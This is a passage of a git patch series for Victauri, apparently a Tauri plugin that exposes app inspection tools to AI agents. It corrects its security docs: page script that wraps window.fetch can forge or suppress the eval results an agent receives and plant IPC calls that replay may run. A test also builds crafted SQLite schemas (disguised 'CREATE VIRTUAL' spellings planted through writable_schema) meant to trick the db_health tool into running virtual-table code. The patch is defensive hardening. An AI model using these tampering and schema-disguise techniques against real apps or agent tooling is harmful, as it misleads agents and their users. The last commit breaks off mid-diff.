override. */ +export const stubConfig: Record = {}; + +export const workspace = { + getConfiguration: () => ({ + get: (key: string, fallback: T): T => (key in stubConfig ? (stubConfig[key] as T) : fallback), + }), +}; + +export const window = { + showWarningMessage: (..._args: unknown[]) => undefined, +}; From 9212819e507e235e6121b84ffa002c84e15a108a Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:59:17 +1000 Subject: [PATCH 115/167] docs: same-window page script can rewrite eval results (correct claims) Tauri 2.11.5's ipc-protocol.js sends every IPC message with the bare global fetch(), looked up at call time, so page script that wraps window.fetch after the bridge loads can read, rewrite or drop every victauri_eval_callback body - including liveness-probe answers (trips the reload abort) and the recording drain (plants IPC calls replay may run). Correct the claims that page script cannot forge/suppress results, that the reload abort is unforgeable, and that replay never runs what did not run; state the real boundary (same webview trusted for its own results; agent key, keyed ops, other windows and Rust-side tools unaffected). Also correct round 3's claim that animation scrub/sweep is key-protected: those helpers are on the public window.__VICTAURI__. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 38 ++++++++++++++++----- docs/src/security.md | 67 +++++++++++++++++++++++++------------ docs/src/tools-reference.md | 4 ++- 3 files changed, 77 insertions(+), 32 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a43a0133..9e3446ab 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -61,7 +61,8 @@ that did not survive testing are listed under "Disproved" below. No Critical or are verified now: focus through shadow roots and frames; actionability, iframe offsets and the window's client area. - **Any probe error aborted an eval as "page reloaded"** (the round-3 claim that page script cannot - forge one was wrong), inviting a double-executing retry. Only a positively different page aborts. + forge one was wrong), inviting a double-executing retry. Only a positively different page aborts + (a positive answer that same-window script forges still counts — see Round 5). - **The `eval_js` auto-return scanner still dropped statements** (the round-3 "never drops a statement" claim was wrong): a line break inside `/* */`, a lone CR, a line ending in `1.`, and `of`/`yield` used as names. Differential check against node: 10,793 → 0 divergent of 35,459. @@ -191,10 +192,12 @@ Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). eval ids, and an `Object.prototype.toJSON` rewrote every result and log entry. Eval state is now null-prototype tables behind closures, ids are coerced without page-replaceable globals, and the bridge's stringify ignores a `toJSON` inherited from `Object.prototype`/`Array.prototype`. Logs - hand out deep copies. (Same-window page script remains a documented residual; see SECURITY.md.) -- **Agent-only bridge controls were callable by the page** (clear logs/routes, dialog auto-answers, - animation scrub/sweep state). They are now reachable only with a per-process key the plugin - embeds in its own evals. + hand out deep copies. (Same-window page script can still read, rewrite or drop its own window's + results in transit — see Round 5 and docs/src/security.md.) +- **Agent-only bridge controls were callable by the page** (clear logs/routes, dialog auto-answers). + They are now reachable only with a per-process key the plugin embeds in its own evals. (The + animation scrub/sweep helpers are NOT behind the key: they stay on the public + `window.__VICTAURI__`; only the old `__VICTAURI_SCRUB__` / `__SWEEP__` globals were removed.) - **Compact snapshot lines could still be forged** through `role` and quote-stripped attribute values; every field is now encoded and each element yields exactly one well-formed line. - **Windows discovery liveness** substring-matched `tasklist` output (PID 12 "matched" 123) and @@ -233,8 +236,8 @@ Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). exactly once. - **Reload detection**: a reload within 250 ms of injection waited the full timeout, and a same-page ready signal delayed >250 ms discarded a real result. Each page load now carries a - nonce; only a ready signal from a *different* page aborts an eval, and page script cannot forge - one. + nonce; only a ready signal from a *different* page aborts an eval. (Script in another page cannot + forge one; script in the same page can — see Round 5.) - **Dropped calls leaked pending-eval slots** (a REST client that disconnected mid-call); 100 of them wedged every eval tool until restart. Slots are now released on drop everywhere. - **Recording drain**: an event stamped ahead of Rust's clock was re-recorded on every drain, @@ -291,9 +294,11 @@ Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). ### Security — pre-audit red team (no Critical/High found) -- **Hostile page content could forge or suppress eval results.** Pending eval ids lived on a - page-visible global (`window.__VIC_EVAL__`); the eval bookkeeping now lives in the bridge's +- **Hostile page content could forge or suppress eval results through a page-visible global.** + Pending eval ids lived on `window.__VIC_EVAL__`; the eval bookkeeping now lives in the bridge's frozen closure, and serialization uses a `JSON.stringify` captured before any page script ran. + (This closed that route only: same-window script can still rewrite or drop results in transit — + see Round 5.) - **The injected bridge's log getters returned its live internal arrays**, so page script could plant a forged "successful" IPC call (which `recording replay` would then invoke), hide its own traffic, or freeze the recording drain. They now return copies; drain watermarks are clamped. @@ -459,6 +464,21 @@ The remainder of this entry is the first (full-surface) audit round, merged in # security docs repeated the 403 claim. The actual rule, now in both: 403 for a `Sec-Fetch-Site` other than `none`, a non-localhost, unparseable or `tauri://` `Origin`; a localhost `Origin` is allowed through and a POST carrying it must be JSON (415 otherwise). +- **Claims corrected: same-window page script CAN forge and suppress eval results.** Tauri (2.11.5, + `scripts/ipc-protocol.js`) sends every IPC message with the bare global `fetch(...)`, looked up + at call time, so script that wraps `window.fetch` after the bridge loads sees every + `victauri_eval_callback` body (`{"id": …, "result": …}`) and can rewrite or drop it. A jsdom + proof of concept returned an agent's `return document.title` as a page-chosen string, and forged + a liveness-probe answer that trips the "page replaced/reloaded" abort. Earlier entries in this + release said page script cannot forge or suppress results, that the reload abort cannot be + forged, and (in the security docs) that replay "never runs what did not run"; they are corrected + in place. The real boundary: page script in the same webview is trusted for the integrity and + confidentiality of that webview's eval results and probe answers (it can read, rewrite or drop + them, and so can plant IPC calls in a recording of its window); it still cannot read the agent + key or call keyed agent operations, and other windows and Rust-side tools are unaffected. Also + corrected: the animation scrub/sweep helpers (`scrubPrepare`, `scrubSeek`, `scrubRestore`, + `installSweepRecorder`, `readSweep`) are on the public `window.__VICTAURI__`, not behind the + per-process key as round 3 said. ## [0.8.8] - 2026-08-12 diff --git a/docs/src/security.md b/docs/src/security.md index bf63b5e0..5aac6b97 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -370,28 +370,51 @@ embedded third-party widgets, or user-generated content rendered in the DOM. ### What page script can and cannot do to the bridge Script running in the app's own page (an XSS, or content the app renders) shares the page's -JavaScript realm with the injected bridge, so no in-page mechanism can fully isolate the two. -Victauri narrows what such script can reach: - -- **Eval results and ids.** Eval bookkeeping lives in closures behind null-prototype tables, ids - are coerced without page-replaceable globals, and results are serialized with a `JSON.stringify` - captured at injection that ignores a `toJSON` planted on `Object.prototype`/`Array.prototype`. - Hooking `Map`/`Set`/`String`/`setTimeout`/`toJSON` no longer reveals pending ids or rewrites - results. **Residual:** Tauri's own IPC transport reads `window.__TAURI_INTERNALS__` and `fetch` - when each call is made, so same-window script can still observe or alter its own window's - results by wrapping them. Other windows' results, and Rust-side tools (`query_db`, `app_state`, - the registry, memory stats), are unaffected. -- **Agent-only controls** — clearing logs and network routes, dialog auto-answers — are not on - the page-visible `window.__VICTAURI__`; they need a per-process key that only the plugin's own - injected scripts carry. -- **Logs are copies.** Every log read hands out a deep copy, so page script cannot rewrite what was - captured through a returned reference. -- **Replay never runs what did not run.** An IPC call fulfilled or blocked by a network route - (which page script can also add) is recorded as `mocked` and never replayed, and `recording - replay` runs each call in the window that recorded it (a window's Tauri capabilities are its - own) — or not at all if that window is gone. -- **Reload detection** keys on a per-page nonce, so page script cannot forge "the page reloaded" - to abort the agent's evals. +JavaScript realm with the injected bridge, so no in-page mechanism can isolate the two. **Treat +page script in the same webview as trusted for the integrity and confidentiality of that +webview's eval results and probe answers.** Concretely: Tauri sends every IPC message, including +the `victauri_eval_callback` that carries an eval result or a liveness-probe answer back to Rust, +with the bare global `fetch(...)`, looked up when each call is made. Script that wraps +`window.fetch` after the bridge loads sees every callback body (`{"id": …, "result": …}`) and can +read it, rewrite it or drop it. That means same-window script can: + +- change or suppress what `eval_js`, `dom_snapshot`, `find_elements`, the log tools and any other + webview tool report for **its own window** (a proof of concept returned an agent's + `return document.title` as a string of the page's choosing); +- forge a liveness-probe answer, which makes the agent's in-flight eval abort as "the page was + replaced/reloaded"; +- rewrite the events the recording drain reads, so a recording (and therefore `recording replay`) + can contain IPC calls that never happened in that window. + +What it still cannot do: + +- **Read the agent key or call agent-only operations.** Clearing logs and network routes and + dialog auto-answers are not on the page-visible `window.__VICTAURI__`; they need a per-process + key that only the plugin's own injected scripts carry, and the functions that hold it are strict + mode so a page hook cannot reach them through `Function.caller`. (The animation `scrub` / `sample` + helpers — `scrubPrepare`, `scrubSeek`, `scrubRestore`, `installSweepRecorder`, `readSweep` — are + on the public `window.__VICTAURI__` and are **not** behind the key: page script can call them.) +- **Reach other windows or out-of-process state.** Another window's results, and Rust-side tools + (`query_db`, `app_state`, the registry, memory stats, window state), do not pass through that + page, so they are unaffected. +- **Observe pending eval ids or rewrite results through prototype hooks.** Eval bookkeeping lives + in closures behind null-prototype tables, ids are coerced without page-replaceable globals, and + results are serialized with a `JSON.stringify` captured at injection that ignores a `toJSON` + planted on `Object.prototype`/`Array.prototype`. (This closes the prototype-hook routes; the + `fetch` route above remains.) +- **Rewrite captured logs through a returned reference.** Every log read hands out a deep copy. + +**Replay.** An IPC call fulfilled or blocked by a network route (which page script can also add) +is recorded as `mocked` and never replayed, and `recording replay` runs each call in the window +that recorded it (a window's Tauri capabilities are its own) — or not at all if that window is +gone. Because same-window script can rewrite what the drain reads (above), this is not a guarantee +that every replayed call really ran; what replay does guarantee is that a planted call only runs +with no arguments, in the window whose script planted it, with that window's own capabilities — +the same commands that script could already invoke directly. + +**Reload detection** keys on a per-page nonce, so script in *another* page +cannot make the agent's eval abort; script in the same page can (by forging the probe answer, as +above). ## Disclosure & Capture Notes diff --git a/docs/src/tools-reference.md b/docs/src/tools-reference.md index e4f1c3e2..0284c8a3 100644 --- a/docs/src/tools-reference.md +++ b/docs/src/tools-reference.md @@ -564,7 +564,9 @@ Each call is re-invoked **in the window that recorded it** — a window's Tauri its own — and is skipped if that window no longer exists (it never falls back to `main`); `webview_label` only filters which recorded calls are replayed. Calls that were fulfilled or blocked by a network route (`route add`, which page script can also use) are recorded as -`mocked` and never replayed: they never reached the backend. +`mocked` and never replayed: they never reached the backend. (Script in the recording window +can still rewrite what the recording captures from that window — see +[Security](security.md#what-page-script-can-and-cannot-do-to-the-bridge).) **Example:** ```json From 1afecba46249d05025bb23c462096bbb6f14f518 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:51:57 +1000 Subject: [PATCH 116/167] fix(db): db_health counts only canonical CREATE TABLE definitions (R5-DB1) db_health decided "virtual table, never counted" with sql LIKE 'CREATE VIRTUAL%'. A crafted file can plant `CREATE VIRTUAL TABLE` (two spaces), `CREATE/**/VIRTUAL`, a tab or a newline through writable_schema; SQLite still parses it as the virtual table, and count(*) then ran the module's code. SQLite always writes a definition in canonical form (`CREATE TABLE ` / `CREATE VIRTUAL TABLE `), so only an entry whose sql starts with exactly `CREATE TABLE ` is counted now; anything else is listed with `virtual: true` (when it mentions VIRTUAL) or `count_skipped`, and row_counts_complete is false. Corrected claims: quick_check does connect virtual tables and, on SQLite >= 3.44, run their xIntegrity (verified on 3.46: a corrupted FTS5 index reports "malformed inverted index for FTS5 table main.docs"; a broken one fails with "vtable constructor failed"). Victauri registers no module, so that is SQLite's built-ins plus any host auto-extension. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 7 +- crates/victauri-plugin/src/database.rs | 115 +++++++++++++++++++++++-- 2 files changed, 113 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 606c5069..596a109c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -307,7 +307,12 @@ Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). - **`query_db` is enforced by SQLite's authorizer.** The string checks missed table-valued pragma functions (`SELECT * FROM pragma_optimize` ran) and the parenthesized write form (`PRAGMA user_version(5)`). Connections also run with `trusted_schema=OFF` + defensive mode, and - `db_health` never counts virtual tables (counting runs module code). + `db_health` never counts virtual tables (counting runs module code). (Round 5: that check was + `sql LIKE 'CREATE VIRTUAL%'`, which a crafted file defeats with `CREATE VIRTUAL` — two spaces — + planted through `writable_schema`; only SQLite's canonical `CREATE TABLE ` form is counted now. + Note that `quick_check` still connects virtual tables and, on SQLite >= 3.44, runs their + modules' `xIntegrity` — SQLite's built-ins (FTS3/4/5, R-Tree) plus any auto-extension the host + process installed; Victauri registers none.) - **Browser-originated POSTs must be JSON** — with `auth_disabled()`, a page on any localhost origin could fire CORS-simple (no-preflight) tool calls. The concurrency cap is now global (it was 64 per route). diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index 779a8b96..f97c102d 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -175,7 +175,13 @@ const MAX_DB_HEALTH_CELL_BYTES: i32 = 1_048_576; /// /// The database file is treated as untrusted input: the connection is opened read-only with /// `trusted_schema=OFF` and `SQLite`'s defensive mode, and virtual tables are listed but never -/// counted (counting one runs its module's code). +/// counted (counting one runs its module's code). That does not keep virtual-table module code +/// out of the call entirely: `quick_check` connects every virtual table whose module is +/// registered and (`SQLite` >= 3.44) runs its `xIntegrity` check. Victauri registers no module on +/// this connection, so that is `SQLite`'s built-ins (FTS3/4/5, R-Tree) plus anything the host +/// process installed as an auto-extension. Verified on +/// 3.46: a corrupted FTS5 index reports `malformed inverted index for FTS5 table …`, and a +/// broken one fails `quick_check` with `vtable constructor failed`. #[cfg(feature = "sqlite")] pub(crate) fn db_health_report( path: &str, @@ -205,17 +211,31 @@ pub(crate) fn db_health_report( let page_count = int("page_count")?; let page_size = int("page_size")?; let freelist_count = int("freelist_count")?; + // Only a table whose definition is exactly SQLite's own `CREATE TABLE ` form is counted. + // SQLite writes every definition in canonical form (`CREATE TABLE …` / + // `CREATE VIRTUAL TABLE …`, one space each), so a legitimate file never differs; + // a crafted one can (via `writable_schema`) spell a virtual table `CREATE VIRTUAL`, + // `CREATE/**/VIRTUAL`, … which a `LIKE 'CREATE VIRTUAL%'` test missed — and then + // `count(*)` ran the module's code. Anything not in canonical ordinary-table form is + // listed, never counted. let mut stmt = c.prepare( - "SELECT name, (sql LIKE 'CREATE VIRTUAL%') FROM sqlite_master \ - WHERE type='table' ORDER BY name", + "SELECT name, substr(sql, 1, 13) IS 'CREATE TABLE ', \ + instr(upper(substr(sql, 1, 256)), 'VIRTUAL') > 0 \ + FROM sqlite_master WHERE type='table' ORDER BY name", )?; - let mut names: Vec<(String, bool)> = Vec::new(); + let mut names: Vec<(String, TableKind)> = Vec::new(); let mut table_bytes = 0usize; let mut truncated = false; let mut rows = stmt.query([])?; while let Some(row) = rows.next()? { let name: String = row.get(0)?; - let is_virtual: bool = row.get::<_, Option>(1)?.unwrap_or(false); + let kind = if row.get::<_, Option>(1)?.unwrap_or(false) { + TableKind::Ordinary + } else if row.get::<_, Option>(2)?.unwrap_or(false) { + TableKind::Virtual + } else { + TableKind::Unrecognized + }; if names.len() >= MAX_DB_HEALTH_TABLES || table_bytes.saturating_add(name.len()) > MAX_DB_HEALTH_TABLE_BYTES { @@ -223,7 +243,7 @@ pub(crate) fn db_health_report( break; } table_bytes = table_bytes.saturating_add(name.len()); - names.push((name, is_virtual)); + names.push((name, kind)); } Ok(( journal_mode, @@ -258,11 +278,15 @@ pub(crate) fn db_health_report( let mut budget_exhausted = false; let mut all_counted = true; let mut tables = Vec::with_capacity(names.len()); - for (name, is_virtual) in names { + for (name, kind) in names { let mut entry = serde_json::json!({ "name": name, "row_count": null }); - if is_virtual { + if kind == TableKind::Virtual { entry["virtual"] = serde_json::json!(true); all_counted = false; + } else if kind == TableKind::Unrecognized { + entry["count_skipped"] = + serde_json::json!("definition is not in SQLite's canonical CREATE TABLE form"); + all_counted = false; } else { let remaining = count_budget.saturating_sub(counts_started.elapsed()); if budget_exhausted || remaining.is_zero() { @@ -321,6 +345,18 @@ pub(crate) fn db_health_report( })) } +/// How [`db_health_report`] treats a `sqlite_master` table entry. +#[cfg(feature = "sqlite")] +#[derive(Clone, Copy, PartialEq, Eq)] +enum TableKind { + /// Canonical `CREATE TABLE ` definition: counted. + Ordinary, + /// A virtual table (by any spelling): listed, not counted. + Virtual, + /// Neither: listed, not counted. + Unrecognized, +} + /// Budget for the metadata PRAGMAs + table listing in [`db_health_report`]. #[cfg(feature = "sqlite")] pub(crate) const DB_HEALTH_META_BUDGET: Duration = Duration::from_secs(3); @@ -1385,6 +1421,69 @@ mod tests { assert_eq!(r["integrity_check_kind"], "quick_check"); } + /// R5-DB1: virtual-table detection was `sql LIKE 'CREATE VIRTUAL%'`, which a crafted file + /// defeats with any other spelling `SQLite` still parses as a virtual table (planted through + /// `writable_schema`) — and then `count(*)` ran the module's code. + #[test] + fn db_health_does_not_count_a_disguised_virtual_table() { + for (i, disguise) in [ + "CREATE VIRTUAL TABLE", + "CREATE\tVIRTUAL TABLE", + "CREATE\nVIRTUAL TABLE", + "CREATE/**/VIRTUAL TABLE", + "CREATE -- c\nVIRTUAL TABLE", + "create virtual table", + ] + .into_iter() + .enumerate() + { + let file = tempfile::NamedTempFile::with_suffix(".sqlite").unwrap(); + let conn = rusqlite::Connection::open(file.path()).unwrap(); + conn.execute_batch("CREATE TABLE plain (x); INSERT INTO plain VALUES (1);") + .unwrap(); + if conn + .execute_batch("CREATE VIRTUAL TABLE docs USING fts5(body);") + .is_err() + { + return; // this SQLite build has no FTS5; nothing to test + } + conn.execute_batch("PRAGMA writable_schema=ON;").unwrap(); + let changed = conn + .execute( + "UPDATE sqlite_master SET sql = replace(sql, 'CREATE VIRTUAL TABLE', ?1) \ + WHERE name = 'docs'", + [disguise], + ) + .unwrap(); + assert_eq!(changed, 1); + drop(conn); + // SQLite itself still reads it as the virtual table. + let check = rusqlite::Connection::open(file.path()).unwrap(); + let sql: String = check + .query_row("SELECT sql FROM sqlite_master WHERE name='docs'", [], |r| { + r.get(0) + }) + .unwrap(); + assert!(sql.starts_with(disguise), "case {i}: {sql}"); + check + .execute_batch("INSERT INTO docs(body) VALUES ('still fts5')") + .unwrap_or_else(|e| panic!("case {i}: not a working virtual table: {e}")); + drop(check); + + let long = Duration::from_secs(10); + let r = db_health_report(file.path().to_str().unwrap(), long, long).unwrap(); + let tables = r["tables"].as_array().unwrap(); + let docs = tables.iter().find(|t| t["name"] == "docs").unwrap(); + assert!( + docs["row_count"].is_null(), + "case {i} ({disguise:?}): a virtual table was counted: {docs}" + ); + assert_eq!(docs["virtual"], true, "case {i}: {docs}"); + let plain = tables.iter().find(|t| t["name"] == "plain").unwrap(); + assert_eq!(plain["row_count"], 1, "case {i}: {plain}"); + } + } + #[test] fn quote_sqlite_identifier_doubles_embedded_quotes() { assert_eq!(quote_sqlite_identifier("a\"b"), "\"a\"\"b\""); From 25b70853adf446d4c99b876a34ac3c014af0dbcb Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:01:09 +1000 Subject: [PATCH 117/167] fix(server): animation scrub never reports a capture it did not make (R5-ANIM1) `animation scrub capture=true` returned "captured": true with no filmstrip and no error whenever the filmstrip was not built: every native capture failed (no window handle, blank/transparent-window capture, ...) - those errors were silently dropped - or filmstrip::compose refused the sheet (> 512 MiB) and returned a bare None. Raw RGBA frames for every point were also accumulated before that size check ran. - `captured` is true only when a filmstrip is returned; the first capture failure is reported as `capture_error` next to the geometry curve. - compose/check_sheet return a reason; a compose failure is a tool error. - the projected sheet (first frame's size x points) is checked right after the first capture; an oversized one restores the animation and fails with the largest `points` that fits, before any further frames are held. - sheet sides are checked to fit u32 (the old `as u32` could truncate). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 7 +- crates/victauri-plugin/src/filmstrip.rs | 117 ++++++++++++---- crates/victauri-plugin/src/mcp/mod.rs | 174 ++++++++++++++++++------ 3 files changed, 236 insertions(+), 62 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 596a109c..4fb00bcd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -54,7 +54,12 @@ that did not survive testing are listed under "Disproved" below. No Critical or - **An unauthenticated `/health` flood made a healthy app look dead**: the bridge's liveness probe and the watchdog read the 429 as "down" (live: 88k × 429, every agent call "backend not reachable", watchdog recovery fired). A 429 from `/health` now means alive. -- **`animation scrub capture=true` took screenshots with `screenshot` disabled.** +- **`animation scrub capture=true` took screenshots with `screenshot` disabled.** It also reported + `"captured": true` with no filmstrip when every capture failed or the sheet was too large to + compose (round 5): `captured` is now true only alongside a filmstrip, a capture failure is + returned as `capture_error`, a compose failure is an error, and a sheet over the 512 MiB limit + is refused after the first frame (with the largest `points` that fits) instead of after + accumulating every raw frame. - **`introspect contract_record` panicked** on any non-ASCII response over 4 KiB. - **Trusted input** sent real keystrokes when focus had not landed on the element, and a trusted click used an unchecked page-controlled point (the title bar / close button was reachable). Both diff --git a/crates/victauri-plugin/src/filmstrip.rs b/crates/victauri-plugin/src/filmstrip.rs index bbb82734..75381a18 100644 --- a/crates/victauri-plugin/src/filmstrip.rs +++ b/crates/victauri-plugin/src/filmstrip.rs @@ -31,41 +31,96 @@ impl Frame { } } -/// Compose `frames` into a grid `cols` wide (rows derived), separated and -/// bordered by `gap` pixels of `bg`. Cells are sized to the largest frame; -/// smaller frames are placed top-left within their cell. Returns -/// `(rgba, width, height)` for the composed sheet, or `None` if `frames` is -/// empty or the resulting buffer would overflow `usize`. +/// Largest composed sheet [`compose`] builds, in bytes of RGBA (512 MiB). +pub const MAX_SHEET_BYTES: usize = 512 * 1024 * 1024; + +/// Width, height and RGBA byte size of a sheet of `n` cells of `cell_w` x `cell_h`, `cols` +/// wide (clamped to `1..=n`), with `gap` pixels around every cell. `None` on overflow (of +/// `usize`, or of `u32` for a side). #[must_use] -pub fn compose( - frames: &[Frame], +pub fn sheet_size( + cell_w: u32, + cell_h: u32, + n: usize, cols: usize, gap: u32, - bg: [u8; 4], -) -> Option<(Vec, u32, u32)> { - if frames.is_empty() { +) -> Option<(u32, u32, usize)> { + if n == 0 { return None; } - let n = frames.len(); let cols = cols.max(1).min(n); let rows = n.div_ceil(cols); let gap = gap as usize; - - let cell_w = frames.iter().map(|f| f.w as usize).max()?; - let cell_h = frames.iter().map(|f| f.h as usize).max()?; - // out_w = cols*cell_w + (cols+1)*gap ; out_h analogous. All checked. let out_w = cols - .checked_mul(cell_w)? + .checked_mul(cell_w as usize)? .checked_add(cols.checked_add(1)?.checked_mul(gap)?)?; let out_h = rows - .checked_mul(cell_h)? + .checked_mul(cell_h as usize)? .checked_add(rows.checked_add(1)?.checked_mul(gap)?)?; let total = out_w.checked_mul(out_h)?.checked_mul(4)?; - // Guard against absurd allocations (e.g. > ~512 MB sheet). - if total > 512 * 1024 * 1024 { - return None; + Some(( + u32::try_from(out_w).ok()?, + u32::try_from(out_h).ok()?, + total, + )) +} + +/// Refuse a sheet larger than [`MAX_SHEET_BYTES`] (or one that overflows), with a reason. +/// +/// # Errors +/// +/// A human-readable reason when the sheet cannot be built. +pub fn check_sheet( + cell_w: u32, + cell_h: u32, + n: usize, + cols: usize, + gap: u32, +) -> Result<(u32, u32, usize), String> { + match sheet_size(cell_w, cell_h, n, cols, gap) { + Some((w, h, total)) if total <= MAX_SHEET_BYTES => Ok((w, h, total)), + Some((w, h, total)) => Err(format!( + "a filmstrip of {n} frames of {cell_w}x{cell_h} would be a {w}x{h} sheet ({} MiB), over the {} MiB limit", + total / (1024 * 1024), + MAX_SHEET_BYTES / (1024 * 1024) + )), + None => Err(format!( + "a filmstrip of {n} frames of {cell_w}x{cell_h} is too large to build" + )), } +} + +/// Compose `frames` into a grid `cols` wide (rows derived), separated and +/// bordered by `gap` pixels of `bg`. Cells are sized to the largest frame; +/// smaller frames are placed top-left within their cell. Returns +/// `(rgba, width, height)` for the composed sheet. +/// +/// # Errors +/// +/// `frames` is empty, or the sheet would exceed [`MAX_SHEET_BYTES`] / overflow. +pub fn compose( + frames: &[Frame], + cols: usize, + gap: u32, + bg: [u8; 4], +) -> Result<(Vec, u32, u32), String> { + let n = frames.len(); + let cell_w = frames + .iter() + .map(|f| f.w) + .max() + .ok_or("no frames to compose")?; + let cell_h = frames + .iter() + .map(|f| f.h) + .max() + .ok_or("no frames to compose")?; + let (sheet_w, sheet_h, total) = check_sheet(cell_w, cell_h, n, cols, gap)?; + let cols = cols.max(1).min(n); + let gap = gap as usize; + let (cell_w, cell_h) = (cell_w as usize, cell_h as usize); + let out_w = sheet_w as usize; // Fill background. let mut out = vec![0u8; total]; @@ -95,7 +150,7 @@ pub fn compose( } } - Some((out, out_w as u32, out_h as u32)) + Ok((out, sheet_w, sheet_h)) } /// Default column count for `n` frames: roughly square, capped so wide strips @@ -134,8 +189,8 @@ mod tests { } #[test] - fn empty_returns_none() { - assert!(compose(&[], 4, 2, [0, 0, 0, 0]).is_none()); + fn empty_is_refused() { + assert!(compose(&[], 4, 2, [0, 0, 0, 0]).is_err()); } #[test] @@ -178,6 +233,22 @@ mod tests { assert_eq!(&rgba[off..off + 4], &[255, 255, 255, 255]); } + /// R5-ANIM1: an oversized sheet is refused with a reason (it used to be a bare `None`, + /// which the scrub handler dropped while still reporting `captured: true`). + #[test] + fn oversized_sheet_is_refused_with_a_reason() { + // 120 frames of 4K: ~3.8 GB of RGBA. + let err = check_sheet(3840, 2160, 120, 8, 4).unwrap_err(); + assert!(err.contains("over the 512 MiB limit"), "{err}"); + assert!(check_sheet(3840, 2160, 4, 2, 4).is_ok()); + assert!(check_sheet(u32::MAX, u32::MAX, 120, 8, 4).is_err()); + // compose refuses by the same rule. Cells take the largest width and height, so two + // thin frames make two 20000x20000 cells (3.2 GB) from 160 KB of pixels. + let frames = [solid(1, 20_000, [0; 4]), solid(20_000, 1, [0; 4])]; + let err = compose(&frames, 2, 0, [0, 0, 0, 0]).unwrap_err(); + assert!(err.contains("over the 512 MiB limit"), "{err}"); + } + #[test] fn default_cols_is_roughly_square() { assert_eq!(default_cols(0), 1); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 71a5ae9c..4a27697a 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -281,6 +281,9 @@ pub(crate) const COMMAND_TIMINGS_CAP: usize = 1024; /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; +/// Pixels between (and around) the cells of an `animation scrub` filmstrip. +const FILMSTRIP_GAP: u32 = 4; + /// Total time `recording stop` spends on its final flush of every window. const FINAL_FLUSH_BUDGET: std::time::Duration = std::time::Duration::from_secs(3); /// How often a slow eval re-checks that its target window still exists (first check after @@ -3050,9 +3053,18 @@ impl VictauriMcpHandler { let points = params.points.unwrap_or(20).clamp(2, 120); let capture = params.capture.unwrap_or(false); + let cols_for = |n: usize| { + params + .cols + .unwrap_or_else(|| crate::filmstrip::default_cols(n)) + }; + let resume = params.restore.unwrap_or(true); + let restore_code = format!("return window.__VICTAURI__.scrubRestore({resume})"); let mut curve: Vec = Vec::with_capacity(points); let mut frames: Vec = Vec::new(); let mut manifest: Vec = Vec::new(); + // The first reason a frame could not be captured (reported, never swallowed). + let mut capture_error: Option = None; // 2. Seek to each evenly-spaced point; capture the frozen frame if asked. for i in 0..points { @@ -3063,18 +3075,51 @@ impl VictauriMcpHandler { Ok(s) => { let v = serde_json::from_str::(&s) .unwrap_or(serde_json::Value::Null); - if capture - && let Ok(handle) = self.bridge.get_native_handle(label) - && let Ok((rgba, w, h)) = - crate::screenshot::capture_window_raw(handle).await - && let Some(frame) = crate::filmstrip::Frame::new(rgba, w, h) - { - manifest.push(serde_json::json!({ - "cell": frames.len(), - "progress": progress, - "t": v.get("t").cloned().unwrap_or(serde_json::Value::Null), - })); - frames.push(frame); + if capture { + match self.capture_scrub_frame(label).await { + Ok(frame) => { + // Before holding more frames: would the finished sheet be + // composable at all? (Raw RGBA frames accumulate until then.) + if frames.is_empty() + && let Err(e) = crate::filmstrip::check_sheet( + frame.w, + frame.h, + points, + cols_for(points), + FILMSTRIP_GAP, + ) + { + let _ = self.eval_with_return(&restore_code, label).await; + let fitting = (2..points).rev().find(|&n| { + crate::filmstrip::check_sheet( + frame.w, + frame.h, + n, + cols_for(n), + FILMSTRIP_GAP, + ) + .is_ok() + }); + let advice = fitting.map_or_else( + || "call scrub without `capture` for the geometry curve (or shrink the window)" + .to_string(), + |n| format!("use `points` <= {n} (or more `cols`)"), + ); + return tool_error(format!( + "animation scrub capture refused before capturing: {e}; {advice}" + )); + } + manifest.push(serde_json::json!({ + "cell": frames.len(), + "progress": progress, + "t": v.get("t").cloned().unwrap_or(serde_json::Value::Null), + })); + frames.push(frame); + } + Err(e) => { + capture_error.get_or_insert(e); + } + } } curve.push(v); } @@ -3083,8 +3128,6 @@ impl VictauriMcpHandler { } // 3. Restore (resume) or leave paused. - let resume = params.restore.unwrap_or(true); - let restore_code = format!("return window.__VICTAURI__.scrubRestore({resume})"); let _ = self.eval_with_return(&restore_code, label).await; let mut meta = serde_json::json!({ @@ -3093,42 +3136,63 @@ impl VictauriMcpHandler { "duration_ms": prep_v.get("duration").cloned().unwrap_or(serde_json::Value::Null), "anim_count": prep_v.get("anim_count").cloned().unwrap_or(serde_json::Value::Null), "target": prep_v.get("target").cloned().unwrap_or(serde_json::Value::Null), - "captured": capture, + // True only when a filmstrip is returned with this result. + "captured": false, "curve": curve, }); + if let Some(e) = &capture_error { + meta["capture_error"] = serde_json::json!(e); + } // 4. Compose the filmstrip if we captured 